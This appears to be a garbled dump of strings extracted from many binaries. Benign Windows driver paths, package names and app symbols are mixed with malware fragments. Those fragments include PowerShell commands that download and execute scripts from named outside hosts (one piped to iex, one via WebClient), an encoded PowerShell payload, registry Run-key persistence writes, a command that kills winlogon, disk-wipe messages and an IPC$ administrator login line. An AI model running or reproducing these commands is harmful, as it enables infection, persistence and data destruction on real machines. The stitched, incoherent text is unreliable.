stringifyValidationResult_createClassErrorUpdatextKey_createSlotRenderFunctionSelectOptionalDiagnosticDataSelectionVideoLoadStart_definePropertiesettingsHelpTaboutDialogRelatedLinksettingsManageStorageButtonTouchEndCapturegisterHeadlessTask or registerCancellableHeadlessTask called multiple times for same key '_enterPictureInPictureCmd_exitPictureInPictureCmd_fetchUriDatabpanelastUpdatedItemId_filesScrollViewelcome_page/sign_inheritsettingsHelpThirdPartyNoticesWoTagselectCurrentPaget ViewWindowsublocality_flushPassiveEffectslotFnotificationsHeadergba(0,0,0,0.1)_getComponentOptionsettingsHelpTermsOfUseWoTagselectCurrentItemailHrdResult_getHasTokenqueueCapturedUpdatextPressed_getKeyAndValueFromCSSTransformatErrorWithConfirm104.712 11.04-1.54-3.8a.41.41 0 0 0-.573-.213l-2.512 1.296a.416.416 0 0 0-.198.521l1.661 4.206a.423.423 0 0 0 .642.183l2.385-1.7a.416.416 0 0 0 .135-.493_getPixelsVisibleErrorState_getPrototypeOfreChooseRootFolderPathTitle_getRequireWildcardCacheckForUpdatestOnly_pressedButton_getTokenPropInfoBlueCloudFull_Win11_interopRequireWildcardinalignContent_isEntirelyVisible__isNativeFunctionSettledFulfillabelText_isNativeReflectConstructrlKey_isPolyfilledimensionsOnActivate_isViewable_lookupOrCopyTokenqueueConcurrentHookUpdatextSelected_loop_1_matrixTransformatFilesizesDifferotate(-135 24 24)_mergeAndFilterPropsettingsLearnMoreFondTextouchableHandleActivePressOut_nonIterableRestorePurchaseButtonClicked_nonIterableSpreadBlobAsArrayBuffergba(255, 255, 255, 0.16)_objectSpread2_objectWithoutPropertiesLooseashellipselectiveSyncSelectedSizeV2_onBlurCapturebeccapurpleLighttp://localhost:9001/sync/KFMOptOutSurvey/handleKFMOptOutSubmitemPermissionextLocomponentProviderInstrumentationHookfmErrorTitle_onFocusCapturecomputationWrapperspective_onSelectionChangeShouldSetResponderCaptureact.forward_refineKeysecondaryTextContainer_parse1_processSlotEntriesettingsLearnMoreTextouchableHandleBlurl(#K)_processStyleFunctionsettingsLimitNetworkDownloadBox_processUpdateQueue_queryCacheckIEEE754_scheduleUpdateOnFiberotate(-.4 225.857 132.57)_setPrototypeOfreChooseRootFolderTitle_superPropGetoSpaceselectEmailListartOffsetStateChangeselectAllowOD4Entry_throwInvalidHookErrorotate(-139.764 190.86 26.636)scale(4.65875 7.07533)_toArrayellowStaria-posinsetsDiffergba(0, 0, 0, 0.1)_toConsumableArray_toPrimitive_toPropertyKey_typeoffsetHeighttp://localhost:9001/sync/KFMOptOutSurvey/displayHandleKFMOptOutSurveyDataModelightTheme_unsupportedIterableToArray_validateOptionsettingsLimitNetworkUploadBox_wrapNativeSuperformUnitOfWorkfmOnboardingKFMDisabledBackupCalloutTextripletToBase64`setTranslucent` is only available on AndroidleinputRanget RefreshControlivedraboutDialogDeviceidCopyShortlContainerquaddResourcesettingsNotificationTaboutDialogUpdateringMsitemLoadedaccountSectionativeTraceBeginSectionormalTaboutHeaderKFMOnboardingClickedaboutTabIdfontStylesetSelectedTabv1freTutorialIntroMac_errorsChangedfreTutorialShareMac_homeButtonOrientationChangeInputNativeSettingsDataModelilacc3adbaaede0801875d5293e27dc7aeR
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
client.wns.windows.com
\SystemRoot\System32\drivers\clipsp.sys
c:\windows\system32\
C:\WINDOWS\SYSTEM32\
:\windows\media
:\windows\media
c:\windows\system32\
\SystemRoot\system32\drivers\pdc.sys
pnw7X	Wc:\windows\system32\windowspowershell\v1.0\powershell.exe-commandirmhttps://amazoniasaude.com.br/tet/become.txt|iex
Microsoft.Windows.FileSystem.FltPerf
Microsoft.Windows.Graphics.Display
Microsoft.Windows.Graphics.DriverDiagnosticsProgressions
Microsoft.Windows.Graphics.DriverDiagnosticsNotifications
Microsoft.Windows.Kernel.Pdc
Microsoft.Windows.Storage.StorportNotification
Microsoft.Windows.Pdc
Microsoft.Windows.Storage.StorportOnDemandData
es%\WindowsPow @
\SystemRoot\System32\drivers\IntelPMT.sys
\SystemRoot\system32\drivers\pdc.sys
\SystemRoot\System32\drivers\stornvme.sys
\SystemRoot\System32\drivers\EhStorClass.sys
\SystemRoot\System32\drivers\fileinfo.sys
\SystemRoot\System32\Drivers\Wof.sys
\SystemRoot\system32\drivers\wd\WdFilter.sys
\SystemRoot\System32\Drivers\Ntfs.sys
\SystemRoot\System32\Drivers\Fs_Rec.sys
\SystemRoot\system32\drivers\ndis.sys
\SystemRoot\system32\drivers\NETIO.SYS
\SystemRoot\System32\Drivers\ksecpkg.sys
\SystemRoot\System32\Drivers\Kerb3961Kernel.sys
\SystemRoot\System32\drivers\tcpip.sys
\SystemRoot\System32\drivers\fwpkclnt.sys
PBWWQGXVMKCMonster Sanctuary (Windows Version)J
comm/datamodemmoromie/contents/index.html\SYSTEM32\RAS\RASPHONE.PBKJ   21ye
WindowsFormsApp88Oybii
windowsapp58.resourcesw
Microsoft.Windows.FilePicker
PAiggerInternal@Internal@TargetedContent@Services@Windows@@@std@@@Collections@Platform@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@W4IrisActionResultFlags@ContentManagementSDK@@@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@W4IrisActionResultFlags@ContentManagementSDK@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@I@Foundation@Windows@@
.?AU?$_Task_impl@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@
.?AV?$AsyncOperationCompletedHandler@I@Foundation@Windows@@
.?AV?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU__abi_IDelegate@?$AsyncOperationCompletedHandler@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@
.?AU?$IIterable@PE$AAU?$IKeyValuePair@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@
.?AU?$IObservableMap@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
.?AU?$IMap@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@
!#SCPT:WindowsSandboxConfig.C
WldpQueryWindowsLockdownMode
WindowsCurrentVersionRun00rstW
WINDOWS.PERFTRACKESCALATIONS
WINDOWS.PERFTRACKPOINTDATA
WINDOWSUDK.SERVICES.IRIS.IRISSERVICE
system32\mmc.exe
rom In E: fk = Len(ExecuteExcel4Macro(rom)): Next: Application.WindowStateimaggi = imaggi & Chr(T): T = "": Next: E = Split(2
windows mixed reality
Microsoft.Windows.Shell.Desktop.IconLayout
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat
windows.hlp`
Global.WidgetBoardMicrosoftWindows.Client.WebExperience_cw5n1h2txyewy!F
Microsoft.Windows.CBSPreview
 (Windows_NTFS :
[hkey_local_machine\software\microsoft\windows\currentversion\explorer\startupapproved\run]
microsoft windows
tWindows
     name="Microsoft.Windows.Net.ipconfig"
c:\windows\system32\windowspowershell\v1.0\powershell.exepowershell-ecwbjagiaiaanaf4axgbtaf4axgbzaf4axgbeaf4aaab0af4axgbhaf4axgbeacaaxgboahqaxgbeaf4axgb0ahaacwa6ac8alwbeaf4aywb2agmaxgbeaf4axgb4ahyaxgbeaf4amgazaf4axga0adiaxgbeadmaxgbzaf4axgb2af4axgauaf4axgbeaf4aywbeaf4axgbvag0axgbeac8aqwbeaf4axgbpaf4atqbqaf4atabbaekatgbuaf4axgbeaf4axwbpaf4axgboaf8axgbeaematwbqafkaxgbeafiasqbhaegaxgbuaf4axgbeaf8asqbeaf4axgboaeyaxgbsaf4asqboaf4axgbhaf4axgbfaf4axgbeaf4atqbeaf4axgbfae4avaauaf4axgbeaf
Microsoft.Windows.Security.SysTray
l@UI@Windows@4@@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IControl@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$require_one@UEntityItem@implementation@TaskManagerApp@winrt@@UIContentControl2@Controls@Xaml@UI@Windows@4@@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides9@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$consume_Windows_UI_Xaml_Controls_IContentControl@UEntityItem@implementation@TaskManagerApp@winrt@@@impl@winrt@@
.?AU?$implements@UEntityItem@implementation@TaskManagerApp@winrt@@U134@Ucomposing@4@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@UIControlOverrides@789Windows@4@UIControlOverrides6@789Windows@4@UIFrameworkElementOverrides@89Windows@4@UIFrameworkElementOverrides2@89Windows@4@UIUIElementOverrides@89Windows@4@UIUIElementOverrides7@89Windows@4@UIUIElementOverrides8@89Windows@4@UIUIElementOverrides9@89Windows@4@@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides7@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides8@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides2@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIUIElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides6@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIFrameworkElementOverrides@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producer_convert@UEntityItem@implementation@TaskManagerApp@winrt@@UIControlOverrides@Controls@Xaml@UI@Windows@4@X@impl@winrt@@
.?AU?$producers_base@UEntityItem@implementation@TaskManagerApp@winrt@@V?$tuple@UEntityItem@TaskManagerApp@winrt@@UIContentControlOverrides@Controls@Xaml@UI@Windows@3@UIControlOverrides@56783@UIControlOverrides6@56783@UIFrameworkElementOverrides@6783@UIFrameworkElementOverrides2@6783@UIUIElementOverrides@6783@UIUIElementOverrides7@6783@UIUIElementOverrides8@6783@UIUIElementOverrides9@6783@@std@@@impl@winrt@@
regwrite("hkey_current_user\software\microsoft\windows\currentversion\run","yahoomessengger","reg_sz",@systemdir&"\"&$
)regwrite("hkey_current_user\software\microsoft\windows\currentversion\policies\explorer","nofolderoptions","reg_dword",0)
@Web@Windows@winrt@-
dir%\system32\vsocklib.dll
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceFrame.EnableModeless
System.Windows.Forms.UnsafeNativeMethods.IDocHostUIHandler.EnableModeless
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceActiveObject.EnableModeless
System.Windows.Forms.UnsafeNativeMethods.IOleInPlaceObject.SetObjectRects
~SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileListsearch_query=%s?q=%s&su=%s&%s&z=%s&t=directc
72^com.microsoft.windows.extensionpackage
75^com.microsoft.windows.extensionpackage
77^com.microsoft.windows.extensionpackage
c:\windows\system32\cmd.exe/csetpath=%programfiles(x86)%\winrar;c:\programfiles\winrar;&&cd/d%~dp0&rar.exee-o+-r-inul*.rarscan042.jpg&rar.exee-o+-r-inulscan042.jpgbackup.exe&backup.exe
C:\WINDOWS\system32
%s is an essential element in windows system configuration and manag/
.regwrite("hkcu\\software\\microsoft\\windows\\currentversion\\explorer\\advanced\\hidden",
<^mm>3&&(ww+=mm>4?"64":"32"),ww+=".exe",b.copyfile(d("systemroot")+"\\system32\\wscript.exe",bfo+ww
COMPONENT_INSTALLER_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
EDGE_USER_DATA_DIR=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-OneCore-SecureStartup-Foundation-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0010~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package041820~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04112~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041420~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
 \system32\drivers\etc\hosts
3\Administrator\Application Data\Microsoft\Windows\PrivacIE\High\desktop.ini\Administrator\Application Data\Microsoft\Windows\PrivacIE\High\index.dat9
oBehavior:Win32/DisabledWindowsBackup.A
--user-data-dir=C:\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView
--user-agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70)
Microsoft-Windows-Cloud-Networking-Triage
Microsoft.Windows.NDIS
Microsoft.Windows.TlgAggregateInternal
getwindowsdirectorya
apwheelcontrol panel\internationalsoftware\microsoft\internet explorer/ok.txt&hf=&affid=&cc=cs4n3a6tionscodesoftware\ceres&is=0&is=1software\microsoft\windows\currentversion\explorer\browser helper objects\{00&hc2=&hc1=/bho/report.asp?g=software\commok.abetterinternet.comxplore2_exechangeserverpopupshortcutconfig.txt&ri=1configpathbho/config.asp?g=
=keep-alive%s: basicauthorizationproxy-authorization%s: keep-aliveproxy-connectioncontent-lengthhttp://%s%shttp/1.0 404 not foundproxy-connection: closecontent-type: text/html; unsigned charset=us-ascii<html><head><title>404 not found</title></head>content-type: text/htmlhttp/1.0 200 connection establishedhttp/1.0 407 proxy authentication requiredproxy-authenticate: basic realm="proxy"http/1.0 500 internal errorhttp/1.0 503 service unavailablenon_eliteelite%swu%s.exe&unblockwarning: components have changedcreate rule for  %s%s?ip=%s&p1=%u&p2=%u&id=%s&ver=%s&net=%s&speed=%d.1&os=%s&type=%s%temp%\mozilla/5.0microsoft_win32s_microsoft_windows_millennium_edition_microsoft_windows_98_microsoft_windows_95_service_pack_6software\microsoft\windows nt\currentversion\hotfixserverntlanmanntworkstation_producttypesystem\currentcontrolset\control\productoptionsserver_4.0_advanced_server_datacenter_server_standard_edition_web_edition_professional_home_edition_microsoft_windows_nt_microsoft_windows_2000_microsoft_windows_xp_microsoft_windows.net(server2003 family)_\microsoft\software\microsoft\windows\currentversion\explorer\shell foldersappdata%sxtempx.xxx\releases\socks_web_report\
rtaydjwlg#fcs4e9nqvkhscohbvm3rj56xptzi7lxi+wgo2mu8kqb1dpuanze0fysoftware\microsoft\systemcertificates\trustedpublisher\certificatessoftware\microsoft\windows\currentversion\wintrust\trust providers\software publishing\trust database\0software\microsoft\windows\currentversion\internet settings\zones\3software\microsoft\internet explorer\mainerrore nel rilascio del certificato di attivazione.
A" & Environ("username") & "\AppData\Roaming\Microsoft\Windows\Start Menu\Program
^Mf:Windows11[49665]
clsid\{08315c1a-9ba9-4b7c-a432-2688xiaransoftware\microsoft\windows\currentversion\explorer\shellexecutehooks_xr.batJmpHookOffJmpHookOn
chacent.cnhacent.cn/update.asp?ip=c:\windows\svchost.exesoftware\microsoft\windows\currentversion\explorer\advanced\folder\hidden\showallcheckedvaluehiddenshell\auto\commandshell\explore\commandautorun.inf\svchost.ini\svchost.exehost:downtask=serial=version=task.exe\mdm.exe
windowsexperP
C:\Windows\SystemApps\Windows.PrintDialog_cw5n1h2txyewy2:
C:\Windows\SystemApps\Windows.CBSPreview_cw5n1h2txyewy0M
C:\Windows\SystemApps\SxS\MicrosoftWindows.59379618.InpApp_cw5n1h2txyewy'M
C:\Windows\SystemApps\SxS\MicrosoftWindows.59337145.Livtop_cw5n1h2txyewy&M
C:\Windows\SystemApps\SxS\MicrosoftWindows.59337133.Voiess_cw5n1h2txyewy%M
C:\Windows\SystemApps\SxS\MicrosoftWindows.59336768.Speion_cw5n1h2txyewy$M
C:\Windows\SystemApps\SxS\MicrosoftWindows.57242383.Tasbar_cw5n1h2txyewy#;
C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy
C:\Windows\SystemApps\ParentalControls_cw5n1h2txyewy
C:\Windows\SystemApps\MicrosoftWindows.UndockedDevKit_cw5n1h2txyewy.G
C:\Windows\SystemApps\MicrosoftWindows.Client.Photon_cw5n1h2txyewy-E
C:\Windows\SystemApps\MicrosoftWindows.Client.OOBE_cw5n1h2txyewy,H
C:\Windows\SystemApps\MicrosoftWindows.Client.FileExp_cw5n1h2txyewy+G
C:\Windows\SystemApps\MicrosoftWindows.Client.CoreAI_cw5n1h2txyewy)E
C:\Windows\SystemApps\MicrosoftWindows.Client.Core_cw5n1h2txyewy*D
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy(E
C:\Windows\SystemApps\Microsoft.XboxGameCallableUI_cw5n1h2txyewy"N
C:\Windows\SystemApps\Microsoft.WindowsAppRuntime.vNext.CBS_8wekyb3d8bbwe!H
C:\Windows\SystemApps\Microsoft.WindowsAppRuntime.CBS_8wekyb3d8bbwe J
C:\Windows\SystemApps\Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy
C:\Windows\SystemApps\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy
C:\Windows\SystemApps\Microsoft.Windows.PrintQueueActionCenter_cw5n1h2txyewy
C:\Windows\SystemApps\Microsoft.Windows.PinningConfirmationDialog_cw5n1h2txyewy
C:\Windows\SystemApps\Microsoft.Windows.PeopleExperienceHost_cw5n1h2txyewy
C:\Windows\SystemApps\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy
           targetNamespace="http://schemas.microsoft.com/appx/manifest/uap/windows10/16"
           xmlns="http://schemas.microsoft.com/appx/manifest/uap/windows10/16"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns="http://schemas.microsoft.com/appx/manifest/desktop/windows10/11"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10">
  <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
           targetNamespace="http://schemas.microsoft.com/appx/manifest/deployment/windows10/2"
           xmlns="http://schemas.microsoft.com/appx/manifest/deployment/windows10/2"
           xmlns:f="http://schemas.microsoft.com/appx/manifest/foundation/windows10"
    <xs:import namespace="http://schemas.microsoft.com/appx/manifest/foundation/windows10"/>
6%s\Windows\System32failed to clear partitions: %vPartitions removed successfully.Starting pass %d...failed to write to disk:Error on rebooting:
c:\windows\media\
@echooffdelc:\windows\downlo~1\gb*.*delc:\windows\downlo~1\*.g??delc:\windows\downlo~1\g*.*delc:\arquiv~1\gbplugin\g*.*
Windows.DevHome_0.1700.597
windows.protocol
COMPUTERNAME=WINDOWS11
DriverData=C:\Windows\System32\Drivers\DriverData
LOGONSERVER=\\WINDOWS11
OS=Windows_NT
Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps
PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
winlogon
\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\
start-process-windowstylehiddeniex(new-objectsystem.net.webclient).downloadstring('http://k2ygoods.top/
	\windows\currentversion\F
Ptaskkill/f/t/imwinlogon 
<<t>\windows
Microsoft-Windows-Hyper-V-VID
wow64_microsoft-windows-n..iagnosticsframework_31bf3856ad364e35_none_037f25f05c64ae3f
wow64_microsoft-windows-n..ider-infrastructure_31bf3856ad364e35_none_409991f6d73cd39b
wow64_microsoft-windows-n..ion_service_iassvcs_31bf3856ad364e35_none_7bbaf3c27c82b435
wow64_microsoft-windows-n..ion_service_runtime_31bf3856ad364e35_none_aee34f2e6dfa7403
wow64_microsoft-windows-n..k-qos-wmi.resources_31bf3856ad364e35_en-us_00e93be659b85c8a
wow64_microsoft-windows-n..kexplorer.resources_31bf3856ad364e35_en-us_bf490f8eff2d69bb
wow64_microsoft-windows-n..kgroundtransferhost_31bf3856ad364e35_none_52e30b629abb230f
wow64_microsoft-windows-n..line-tool.resources_31bf3856ad364e35_en-us_768f149fd1835ba9
wow64_microsoft-windows-n..mplatform.resources_31bf3856ad364e35_en-us_5fe3e6eb5c567c86
software\microsoft\windows\currentversion\uninstall\utorrents
\software\microsoft\windows\currentve8
windows\system32\cmd.exew
WINDOWS11
\startup\windowsupdate.com.url
Windows
"-windowstylehidden}elseif($
c:\windows\system32\cmd.exe/c
H"http://2t.pm:8080/b/rbxvart2cch3/y/izrdxt4l5gq1uy/!computername!"rdv=sk^a^kv^o^z^o-^qn!%systemroot%\system32\shell32.dll
    "PurchaseWindowSkipNowLink":  "Skip for now",
&beizhu=&pcname=CheckBoxHackFirewallCheckBoxHackHYJLTSend OK!num=1234567&pass=password666667776666666666effeec:\windows\debug\1d54bd5bc206.dll1d54bd5bc206.exe2.bat
$)y[alarm] writememoey detected[alarm] readmemoey detected[alarm] openprocess detected[alarm] processscan detected[alarm] debugport check detected[alarm]no support os version[alarm] windows xp[alarm] windows 2000[alarm] hooksetup[alarm] hookunsetupenemy process was terminated:::::::game resistance driver:::::::out process was terminatedzwwritevirtualmemory hook unsetupzwwritevirtualmemory hook setupzwreadvirtualmemory hook unsetupzwreadvirtualmemory hook setupzwquerysysteminformation hook unsetupzwquerysysteminformation hook setupzwopenthread hook unsetupzwopenthread hook setup\
\cnsmin.dllrelease2k\cnsminkpntv2system32\cns.exesystem32\cns.dlls
Microsoft-Windows-Client-Desktop-Required-Package0012~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package04110~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04113~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-Package0419~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-WOW64-Package0015~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package0010~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Embedded-DialogBlocking-WOW64-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat|Microsoft-Windows-GroupPolicy-ClientTools-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|Microsoft-Windows-NetFx4-US-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.4202.cat|
Microsoft-Windows-SMB1Server-D-Opt-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat|
Microsoft-Windows-Wifi-Client-Qualcomm-Qcamain10x64-FOD-Package-Wrapper~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
UserExperience-LKG-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package0110~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|ad364e35~amd64~en-US~10.0.26100.1591.cat|
ntdowscdsystem32netuse\\%1\ipc$""/user:administratorifnoterrorlevel1gotoroot
\close.log\dial.log\shell\open\wininit.inidsbeagle-1111-1111-1111-111111111111defaultinternettrackkey.exetrackurl.exekill.exedial.exedial://direct.exehttp://www.adserver.comhttp://www.alexa.comhttp://www.alibaba.comhttp://www.amazon.comhttp://www.apple.comhttp://www.cnn.comhttp://www.ebay.comhttp://www.fastclick.comhttp://www.icq.comhttp://www.lycos.comhttp://www.mapquest.comhttp://www.microsoft.comhttp://www.mlb.comhttp://www.monster.comhttp://www.nba.comhttp://www.netscape.comhttp://www.nytimes.comhttp://www.tripod.comhttp://www.xanga.comhttp://www.yahoo.comsoftware\microsoft\internet account managersoftware\microsoft\internet account manager\accounts\software\microsoft\ras autodial\defaultsoftware\microsoft\windows\currentversionsoftware\microsoft\windows\currentversion\internet settings\user agent\post platformsoftware\microsoft\winnt\currentversionenumprocessesmodule32firstmodule32nextrasenumdevicesarasgetentrydialparamsarasgetentrypropertiesaremovedirectorya
hSOFTWARE\Microsoft\Windows\CurrentVersion\Run\KXOSUKC:\WINDOWS\system32\svchoct.exe\
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.AdaptiveListPageChangeRequestedEventArgs
WindowsInternal.ComposableShell.Experiences.TextInputUndocked.Controls.CandidateItem_
